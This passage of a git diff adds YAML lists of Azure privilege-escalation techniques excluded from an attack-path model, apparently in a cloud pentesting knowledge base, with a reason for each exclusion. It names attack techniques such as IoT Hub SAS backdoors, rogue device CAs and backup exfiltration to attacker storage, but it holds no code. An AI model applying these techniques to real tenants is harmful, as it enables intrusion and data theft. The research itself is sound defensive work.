src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#subscribe-to-azure-platformresource-events-with-systemtopicseventsubscriptionswrite + technique: "System topic event subscription" + reason: "Event feed exfiltration; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#backdoor-mqtt-client-via-namespacesclients--clientgroups--permissionbindingswrite + technique: MQTT client backdoor + reason: Creating an MQTT client, group and permission binding grants persistent broker publish/subscribe authority + with attacker-held client credentials; this requires a scoped MQTT authority target. + source_revision: 0b36331 +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#authnetwork-downgrade-with-namespaceswrite-topicswrite-domainswrite + technique: "Event Grid auth / network downgrade" + reason: "Posture downgrade; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-hubs-privesc.md#event-hubs + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fabric-privesc.md#microsoft-fabric + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fabric-privesc.md#connection--gateway-credential-confused-deputy-exfil + technique: "Fabric connection / gateway credential abuse" + reason: "Fabric connection permissions, not Azure RBAC; data-source credential use only." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fluid-relay-privesc.md#fluid-relay + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fluid-relay-privesc.md#container-id-enumeration-with-fluidrelaycontainersread + technique: "Fluid Relay container enumeration" + reason: "Enumeration only." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fluid-relay-privesc.md#cmkidentity-tamper-with-fluidrelayserverswrite + technique: "Fluid Relay CMK / identity tamper" + reason: "Service-side CMK identity use (DoS); no code path for the source." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesconfiglistaction-microsoftwebsitesconfigwrite + technique: "Function App config list/write" + reason: "Covered by azure-appservice-config-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#rce-via-app-settings--environment-variables-microsoftwebsitesconfigwrite + technique: "Function App RCE via app settings" + reason: "Covered by azure-appservice-config-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesconfigwrite-microsoftwebsitesconfiglistaction-microsoftwebsitesread-microsoftwebsitesconfiglistaction-microsoftwebsitesconfigread + technique: "Function App config write (variant)" + reason: "Covered by azure-appservice-config-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteswrite-microsoftmanagedidentityuserassignedidentitiesassignaction-microsoftwebsitesread-microsoftwebsitesoperationresultsread + technique: "Function App user-assigned identity attach" + reason: "Covered by azure-appservice-assign-user-assigned-identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostruntime--arm-proxy-to-the-runtime-host-statusvfs-recon-key-routes-are-platform-blocked + technique: "hostruntime ARM proxy recon" + reason: "Recon (key routes platform-blocked); VFS write is covered by azure-functions-hostruntime-vfs-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesconfigsnapshotslistsecretsaction--recover-rotatedremoved-secrets + technique: "Config snapshot secret recovery" + reason: "Covered by azure-functions-config-list-storage-key (snapshots/listsecrets any_of alternative)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshybridconnectionnamespacesrelayslistkeysaction--on-premprivate-network-pivot + technique: "Hybrid connection relay keys" + reason: "On-prem / private network pivot; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostsyncaction--reload-tampered-keystriggers-enabler-low-alone + technique: "host/sync" + reason: "Enabler only (reloads tampered keys/triggers); no gain alone." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-resource-bridge-privesc.md#export-customer-kubeconfig-and-ssh-credentials + technique: Export customer Arc Resource Bridge kubeconfig and SSH credentials + reason: The Actions can return appliance kubeconfigs and SSH key material, but the exported kubeconfig role, usable + Kubernetes RBAC, SSH server acceptance, network reachability and relay scope are not in the ARM configuration + snapshot. They do not establish appliance administrator, Kubernetes cluster-admin or Azure administration. A + scoped appliance/SSH credential target and measured host or Kubernetes authorization are needed before an identity + edge can be drawn. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbmongoclusterslistconnectionstringsaction--mongoclustersusersread--userswrite + technique: MongoDB vCore native user creation + source_revision: 0b36331 + reason: users/write creates a native password user with configured data-plane rights. It does not register an + Entra principal; listConnectionStrings returns endpoint templates only. A native database-user target is needed + to represent the new credential without implying cluster administrator rights. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsdigitaltwinsinstanceswrite--managed-identity-attach-confused-deputy-foothold + technique: Attach a user-assigned identity to a Digital Twins instance and import with it + source_revision: 0b36331 + reason: Digital Twins only fetches an import-source Blob using its managed identity. The caller does not receive + a general MI token or its other role grants; disclosure depends on chosen NDJSON content and import parser/error + behavior. A scoped Blob-read confused-deputy target and content fact are needed. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsjobsimportswrite--bulk-graph-import-mass-poisoning--mi-confused-deputy-read + technique: Use an import job to read blobs with the Digital Twins instance identity + source_revision: 0b36331 + reason: Digital Twins only fetches an import-source Blob using its managed identity. The caller does not receive + a general MI token or its other role grants; disclosure depends on chosen NDJSON content and import parser/error + behavior. A scoped Blob-read confused-deputy target and content fact are needed. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entra-id-governance-privesc.md#catalog-scoped-self-grant-privesc + technique: Catalog-scoped self-grant of an Entra role packaged in a catalog the source manages + source_revision: 0b36331 + reason: The cited page packages group membership or ownership, application roles and SharePoint roles. Direct + Entra directory-role packaging is not documented; role-assignable-group gain is already covered by azure-entraid-entitlement-catalog-self-grant-group. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftserialconsoleserialportsconnectaction + technique: Direct Serial Console login with an already known local guest password + source_revision: 0b36331 + reason: The connect action opens a console, but login requires a valid local guest account password already known + to the source. That credential, guest account state, console availability and IMDS reachability are host/runtime + facts absent from the Azure permission snapshot; connect/action alone cannot establish access to the VM managed + identities. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_rbac_refresh_a.yaml b/src/privilege-escalation-paths-research/azure/_excluded_rbac_refresh_a.yaml new file mode 100644 index 0000000000..9311976f4a --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_rbac_refresh_a.yaml @@ -0,0 +1,132 @@ +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-guest-configuration-privesc.md#guest-configuration + technique: Page intro / service link + reason: Introductory section; the technique is modelled by azure-guestconfiguration-assignment-write. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-guest-configuration-privesc.md#guest-configuration-overview + technique: Guest Configuration overview + reason: Background section; the technique is modelled by azure-guestconfiguration-assignment-write. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#hdinsight + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#hdinsight-overview + technique: HDInsight overview + reason: Background section; the techniques are modelled by azure-hdinsight-get-gateway-settings, azure-hdinsight-update-gateway-settings, azure-hdinsight-execute-script-actions, azure-hdinsight-applications-write and azure-hdinsight-create-with-user-assigned-identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#escalate-from-node-rce-to-storage--managed-identity + technique: Node RCE to storage keys and user-assigned identity + reason: Post-RCE step, not an independent permission combination; the cluster user-assigned identity it reaches is the target of the HDInsight code-execution entries (azure-hdinsight-execute-script-actions and siblings). Storage account keys in cluster configuration are data-plane credentials. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#azure-vm-image-builder + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#image-builder-overview + technique: Image Builder overview + reason: Background section; the existing-template path is modelled by azure-imagebuilder-template-hijack-existing. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#staging-rg--build-vm-lateral-movement + technique: Staging resource group / build VM network line of sight + reason: Network pivot and staging-artifact tampering without a new identity for the source; the build-VM identity itself is reached by azure-imagebuilder-template-hijack-existing. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#pivot-to-raw-compute + technique: Pivot to VM / scale set / gallery abuses + reason: Cross-reference to the VM page; the downstream techniques are catalogued in virtual_machines.yaml. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#iot-hub + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#hub-property-abuse-with-microsoftdevicesiothubswrite + technique: iotHubs/write (SAS policy backdoor, routes, storage endpoint, auth rollback, identity attach) + reason: Persistence, telemetry exfiltration and data-plane credentials over IoT device identities, which are not Azure/Entra principals. An identity attached to the hub is only used by the service for routing/egress; no code runs as it, so its token is never obtained by the source (confused-deputy egress only). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#covert-built-in-events-consumer-group-with-eventhubendpointsconsumergroupswrite + technique: Covert consumer group on the built-in events endpoint + reason: Telemetry read and persistence; no new identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#rogue-x509-ca-for-device-auth-with-iothubscertificateswrite-and-the-dps-equivalent + technique: Rogue X.509 CA for device authentication (IoT Hub / DPS) + reason: Grants impersonation of IoT device identities only (not Azure/Entra principals); persistence. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#key-vault + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#enable-the-deployment-path-with-microsoftkeyvaultvaultswrite + technique: vaults/write enables enabledForTemplateDeployment + reason: Enabler of the template-deployment path; vaults/write is already a requirement branch of azure-keyvault-secret-read-sp-credentials (it can rewrite accessPolicies directly), and enabledForTemplateDeployment is the condition of azure-keyvault-template-deployment-secret-reference. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#swap-the-authorization-model-with-microsoftkeyvaultvaultswrite-enablerbacauthorization-toggle + technique: vaults/write toggles enableRbacAuthorization to revive stored access policies + reason: A vaults/write permission can revive secret access only when the vault stores a stale secret-read access + policy for a source-controlled principal and the model can be switched to access policies. Requires a source-principal-to-access-policy + join and current permission model; otherwise UNKNOWN. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#approve-an-attacker-private-endpoint-to-reach-a-publicnetworkaccessdisabled-vault + technique: Approve an attacker private endpoint connection + reason: Network reachability only; condition network_reachable of the Key Vault entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#azure-kubernetes-service + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#external-oidc-authentication-on-aks + technique: AKS structured authentication with an external OIDC issuer (preview) + reason: Preview feature; becomes a pivot only when the mapped aks:jwt identity holds Kubernetes RBAC, and neither the authenticator configuration nor its write permission is collected. Not modelled until JWT authenticator facts exist. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-load-testing-privesc.md#azure-load-testing + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-load-testing-privesc.md#load-testing-overview + technique: Load Testing overview + reason: Background section; modelled by azure-loadtesting-test-engine-identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-load-testing-privesc.md#key-vault-secret--certificate-reference-abuse + technique: Test secret/certificate references resolved by the reference identity + reason: Partial gain (Key Vault secret reads of the KeyVault reference identity) using the same data actions as azure-loadtesting-test-engine-identity, which already reaches every identity attached to the load test resource. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-log-analytics-privesc.md#attach-an-automation-account-via-workspaceslinkedserviceswrite + technique: workspaces/linkedServices/write links an Automation account + reason: Code execution depends on legacy agent-based Update Management / Change Tracking onboarding (retired with the Log Analytics agent) and on an Automation account the source already controls; no new identity from the link itself. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#logic-apps + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicintegrationaccountsagreementslistsecretsaction--steal-b2bedi-authentication-secrets + technique: Integration account agreement secrets + reason: B2B/EDI partner secrets; data read, no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicintegrationaccountsregenerateaccesskeyaction--rotate-the-artifact-signing-key-dos--fresh-signing-secret + technique: Regenerate integration account access key + reason: Denial of service and signing material for artifact callback URLs; no new identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsread-microsoftlogicworkflowswrite--microsoftmanagedidentityuserassignedidentitiesassignaction + technique: Attach a user-assigned identity to an existing workflow + reason: Same permission combination and target set as azure-logicapp-assign-user-assigned-identity (pivot may be the existing workflow). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebsiteshostlistkeysaction-microsoftwebsiteshostruntime---standard-logic-app-host-key-theft--anonymous-workflow-invoke + technique: Standard Logic App host keys / hostruntime callback URL + reason: Standard Logic Apps are Microsoft.Web/sites; the master-key path is modelled by azure-functions-host-listkeys-master-key. Invoking existing workflows only runs their fixed definition (confused deputy), like the excluded listCallbackUrl actions. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebsitesconfigwrite---rce-via-app-settings--environment-variables-standard-logic-apps + technique: sites/config/write on a Standard Logic App + reason: Standard Logic Apps are Microsoft.Web/sites; modelled by azure-appservice-config-write. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#azure-machine-learning + technique: Azure Machine Learning service introduction + reason: Introductory section; techniques are mapped by their own headings. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#azure-ml-overview + technique: Azure ML attack-surface overview + reason: Overview only; the compute, datastore and endpoint techniques are mapped individually. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#datastore-secret-theft + technique: datastores/listSecrets credential theft + reason: Covered by azure-ml-connection-secrets, which includes datastores/listSecrets/action and connections/listsecrets/action and targets service principals whose credentials are stored in the workspace; account-key/SAS datastores are data access only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#online--batch--serverless-endpoint-key-theft--malicious-deployment + technique: Endpoint key theft and malicious deployment + reason: Scoring keys/tokens only invoke the model (no identity). Malicious deployment as the endpoint identity is modelled by azure-ml-online-deployment-existing-endpoint and azure-ml-online-endpoint-create-with-user-assigned-identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-applications-privesc.md#managed-applications + technique: Managed Applications introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-applications-privesc.md#managed-applications-overview + technique: Managed Applications overview + reason: Overview of publisher authorizations and deny assignments; the escalation is mapped under listTokens. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-applications-privesc.md#deploy-as-identity-inside-a-managed-app + technique: Deploy a malicious managed app definition + source_revision: 0b36331 + reason: A managed-app template may create an identity and assign roles through the deployment authorization. The + path is conditional on the exact definition, deployment scope and platform authorization permitting a role assignment + beyond the source rights. Missing authorization/template facts are UNKNOWN; do not infer gain from applications/write + alone. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-devops-pools-privesc.md#managed-devops-pools + technique: Managed DevOps Pools introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-grafana-privesc.md#azure-managed-grafana + technique: Managed Grafana introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-grafana-privesc.md#microsoftdashboardgrafanamanagedprivateendpointswrite--network-pivot-into-a-private-vnet + technique: Grafana managed private endpoint + reason: Network reachability only; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#aks-cluster-credentials + technique: clusterUser kubeconfig on AKS + reason: The returned clusterUser identity has cluster-admin authority only if its effective Kubernetes RBAC grants + it; local accounts and absence of Entra integration do not prove that binding. The collector must read cluster + RBAC bindings for the returned subject; until then the path is UNKNOWN. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + technique: User or service-account impersonation to cluster admin + reason: Requires an impersonable user or service account with effective cluster-admin RBAC, including namespace + scope; no subject-to-binding collector exists, so evaluate UNKNOWN until collected. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_rbac_refresh_b.yaml b/src/privilege-escalation-paths-research/azure/_excluded_rbac_refresh_b.yaml new file mode 100644 index 0000000000..fa7604a0b1 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_rbac_refresh_b.yaml @@ -0,0 +1,177 @@ +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-maps-privesc.md#azure-maps + technique: Azure Maps introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-maps-privesc.md#microsoftmapsaccountsregeneratekeyaction + technique: Maps regenerateKey + reason: Rotates and returns the Maps shared key (data-plane credential, no identity); also DoS. Same as the excluded listKeys. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#azure-monitor + technique: Azure Monitor introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightsmetricalertswrite--linked-reads + technique: Metric alert pointed at an automation action group + reason: Only triggers existing automation (Logic App/Function/runbook/webhook) whose logic the attacker does not control; confused-deputy invocation, not use of the automation identity's privileges. Same rationale as excluded Logic App callback invocation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightsscheduledqueryruleswrite--the-same-trick-with-a-kql-alert + technique: Scheduled query alert pointed at an automation action group + reason: Same as metric alerts; triggers fixed automation logic; no attacker-controlled execution as its identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md#mysql-databases + technique: MySQL introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md#microsoftdbformysqlflexibleserversprivateendpointconnectionswrite--self-approve-a-private-endpoint + technique: Self-approve a MySQL private endpoint + reason: Network path only; data-plane access still needs the password-reset/Entra-admin entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md#notification-hubs + technique: Notification Hubs introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md#pns-credential-takeover-with-namespacesnotificationhubswrite + technique: Overwrite hub PNS credentials + reason: Hijacks a third-party push channel; no Azure identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md#key-less-push-with-notificationhubsdebugsendaction + technique: debugSend push without SAS + reason: Sends push notifications to devices; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md#web-push-key-theft-with-notificationhubsvapidkeysread + technique: VAPID key theft + reason: Web Push signing keys; no Azure identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-policy-privesc.md#azure-policy + technique: Azure Policy introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-policy-privesc.md#the-dine--modify-remediation-identity-primitive + technique: New DINE/modify assignment with a privileged system-assigned identity + reason: Requires roleAssignments/write at the scope to grant the new identity its role, which is already modelled by azure-authorization-roleassignments-write. The user-assigned-identity and definition-rewrite variants are modelled by azure-policy-assignment-write-user-assigned-identity and azure-policy-definition-write-remediation-identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-policy-privesc.md#hijack-an-existing-remediation-identity + technique: Retarget or re-remediate an existing privileged policy assignment + reason: Retargeting scope/parameters or triggering remediation runs the assignment's fixed definition template; attacker-chosen execution as the identity needs the definition rewrite modelled by azure-policy-definition-write-remediation-identity. Parameter-controlled effects are definition-specific and not modelable generically. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-policy-privesc.md#turning-off-guardrails-is-itself-an-escalation-enabler + technique: Weaken Deny policies / add exemptions + reason: Defense evasion that unblocks other techniques; grants no identity by itself. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#postgresql-databases + technique: PostgreSQL introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversstartltrbackupaction--long-term-retention-backup-exfil-to-attacker-storage-no-db-creds + technique: LTR backup to attacker SAS + reason: Data exfiltration; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversmigrationswrite--outbound-connectivity--ssrf-style-reachability-oracle + technique: Migration validate reachability oracle + reason: Network reconnaissance; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversprivateendpointconnectionswrite--self-approve-a-private-endpoint + technique: Self-approve a PostgreSQL private endpoint + reason: Network path only; data-plane access still needs the password-reset/Entra-admin entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#purview + technique: Purview introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewpolicyelementswrite--purview-access-policies-into-governed-sqlstorage + technique: Purview access policies into governed sources + reason: A credential or permission gain is documented, but it is deferred until the collector supplies purview.governedSources[{accountId,sourceId,policyAuthorIds,publisherIds,policyIds,serviceKind}]. + Policy Author, registered source and separate publisher requirements decide whether a write can grant SQL/Storage + access. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewaccountskafkaconfigurationswrite--metadata-exfil--lineage-spoof + technique: Kafka/Event Hubs notification rewiring + reason: Metadata exfiltration / lineage spoofing; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewaccountswrite--network-open--confused-deputy-identity-swap + technique: Purview account write (network/identity swap) + reason: Opening public network access grants no identity. Attaching a user-assigned identity the attacker already controls gives the attacker nothing new, and data-source grants made to the account's previous identity do not transfer; any other change only steers fixed Purview scan logic (confused deputy). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-quantum-privesc.md#azure-quantum + technique: Azure Quantum introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-redis-privesc.md#azure-cache-for-redis + technique: Azure Cache for Redis introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-redis-privesc.md#azure-managed-redis-database-keys + technique: Managed Redis (redisEnterprise) database listKeys / regenerateKey + reason: A credential or permission gain is documented, but it is deferred until azure_service_credential target + for a Managed Redis database key and machine-checked access-key authentication. The key is confined to one database + and both actions are alternatives. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-relay-privesc.md#azure-relay + technique: Azure Relay introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-relay-privesc.md#entra-rbac-relay-access-with-sendlisten-data-actions-bypasses-sas-key-disclosure + technique: Relay send/listen data actions with an Entra token + reason: Send/listen on a hybrid connection or WCF relay is data-plane traffic and network-boundary reachability into the fronted service; no new Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sentinel-privesc.md#sentinel + technique: Sentinel introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sentinel-privesc.md#automation-rule--playbook--managed-identity + technique: Edit a playbook Logic App and fire it through an automation rule + reason: The identity gain comes from Microsoft.Logic/workflows/write on the playbook, already modelled by azure-logicapp-workflow-write-existing-identity; the automation rule only supplies a run path (its run_path condition). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sentinel-privesc.md#microsoftsecurityinsights-write--workspace-access + technique: Manually trigger a privileged playbook + reason: Runs the playbook's existing, unmodified logic; confused-deputy invocation of fixed logic, not attacker-chosen execution as its identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sentinel-privesc.md#kql-over-sensitive-tables + technique: KQL hunting for secrets in ingested logs + reason: Data read; any harvested secret is content-dependent and not derivable from RBAC. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#service-fabric + technique: Service Fabric introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#service-fabric-overview + technique: Service Fabric overview + reason: Background section; techniques are modelled in azure/service_fabric.yaml. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#service-bus + technique: Service Bus introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#receive-with-keys-microsoftservicebusnamespacesqueuestopicsauthorizationruleslistkeysaction-or-microsoftservicebusnamespacesqueuestopicsauthorizationrulesregeneratekeysaction + technique: Receive messages with authorization-rule keys + reason: Message data read with a SAS data-plane credential; no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#receive-messages-dataactions-microsoftservicebusnamespacesmessagesreceiveaction + technique: Receive messages via data action + reason: Message data read; no new identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#signalr-and-web-pubsub + technique: SignalR and Web PubSub introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#untargeted-broadcastgroupuser-injection + technique: Broadcast / group / user message injection + reason: Data-plane message injection to clients; no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#microsoftsignalrservicesignalrserverconnectionwrite---impersonate-the-hub-application-server + technique: Server connection as the hub application server + reason: A credential or permission gain is documented, but it is deferred until azure_application_server target + for SignalR server connection, with data_action requirement and signer pairing. ServerConnection/write alone + does not prove a usable signed server connection. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#microsoftsignalrservicewebpubsubauthaccesskeyaction---web-pubsub-temporary-signing-material + technique: Web PubSub temporary signing material + reason: A credential or permission gain is documented, but it is deferred until azure_service_credential target + for Web PubSub temporary signing material, with service-specific auth endpoint. The report names the wrong provider + action; the heading names Microsoft.SignalRService/WebPubSub/auth/accessKey/action. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#live-trace-eavesdropping-with-signalrlivetraceread + technique: Live trace eavesdropping + reason: Read-only connection and traffic metadata disclosure. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-speech-services-privesc.md#azure-ai-speech + technique: Azure AI Speech introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#azure-spring-apps + technique: Azure Spring Apps introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#spring-apps-overview + technique: Spring Apps overview + reason: Background section; techniques are modelled in azure/spring_apps.yaml. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#rce-via-jvmoptions--environment-variables-settings-only-no-artifact-upload + technique: Code execution through deployment JVM options / environment variables + reason: Same requirement (apps/deployments/write) and same app identities as azure-springapps-deployment-write-app-identity, whose code_source condition includes this settings-only path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#listtestkeys--public-test-endpoints + technique: listTestKeys public test endpoints + reason: A credential or permission gain is documented, but it is deferred until the collector supplies springApps.testEndpoints[{serviceId,appId,enabled,url,authRequired}]. + A key is useful only where the test endpoint is enabled; secrets exposure additionally depends on app routes/content. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#microsoftappplatformspringregeneratetestkeyaction + technique: regenerateTestKey + reason: A credential or permission gain is documented, but it is deferred until the collector supplies springApps.testEndpoints[{serviceId,appId,enabled,url,authRequired}]. + Rotation returns a key but no app identity gain when the test endpoint is disabled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#microsoftappplatformspringapmslistsecretkeysaction + technique: APM integration secret keys + reason: A credential or permission gain is documented, but it is deferred until external_service_credential target + keyed by APM backend and returned credential type. APM backend rights vary; a generic Azure data-plane admin + target would overstate access. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#config-server--bindings--secret-exposure + technique: Config server repoint / bindings / environment secrets + reason: Configuration poisoning and secret disclosure whose result depends on application behaviour and secret contents; no code runs as the app identity through these actions alone and nothing is derivable from RBAC. +- source: 